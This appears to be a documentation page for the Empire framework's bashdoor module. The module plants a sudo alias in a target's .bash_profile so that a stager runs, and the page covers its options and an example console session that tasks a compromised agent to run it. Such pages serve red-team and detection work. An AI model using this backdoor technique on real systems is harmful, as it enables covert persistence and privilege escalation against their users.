Bashdoor - Empire Module
This page contains detailed information about how to use the python/privesc/multi/bashdoor Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: bashdoor
Module: python/privesc/multi/bashdoor
Source code [1]: empire/server/modules/python/privesc/multi/bashdoor.yaml
Source code [2]: empire/server/modules/python/privesc/multi/bashdoor.py
MITRE ATT&CK:
T1156
Language: Python
Needs admin: No
OPSEC safe: No
Background: No
The bashdoor module creates an alias in the .bash_profile to cause the sudo command to execute a stager and pass through the origional command back to sudo.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the bashdoor module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the bashdoor module:
Agent
Agent to execute module on.
Listener
Listener to use.
SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.
Additional Module Options
This is a list of additional options that are supported by the bashdoor module:
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Bashdoor Example Usage
Here's an example of how to use the bashdoor module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/privesc/multi/bashdoor
Author @n00py
Background False
Description Creates an alias in the .bash_profile to cause the sudo command to
execute a stager and pass through the origional command back to sudo
Language python
Name python/privesc/multi/bashdoor
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1156
,Record Options--------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------|---------|----------|-------------------------------------|
| Agent | | True | Agent to execute module on. |
|------------|---------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------|---------|----------|-------------------------------------|
| SafeChecks | True | True | Switch. Checks for LittleSnitch or |
| | | | a SandBox, exit the staging process |
| | | | if true. Defaults to True. |
|------------|---------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------'---------'----------'-------------------------------------'
(Empire: usemodule/python/privesc/multi/bashdoor) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/privesc/multi/bashdoor) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/privesc/multi/bashdoor) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/privesc/multi/bashdoor) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/privesc/multi/bashdoor.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/privesc/multi/bashdoor.py
- http://attack.mitre.org/techniques/T1156
See Also
Check also the following modules related to this module:
- python/privesc/multi/sudo_spawn
- python/management/multi/kerberos_inject
- python/management/multi/spawn
- python/management/multi/socks
- python/situational_awareness/host/multi/WorldWriteableFileSearch
- python/situational_awareness/host/multi/SuidGuidSearch
- python/persistence/multi/crontab
- python/persistence/multi/desktopfile
- python/lateral_movement/multi/ssh_launcher
- python/lateral_movement/multi/ssh_command
- powershell/management/enable_multi_rdp
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
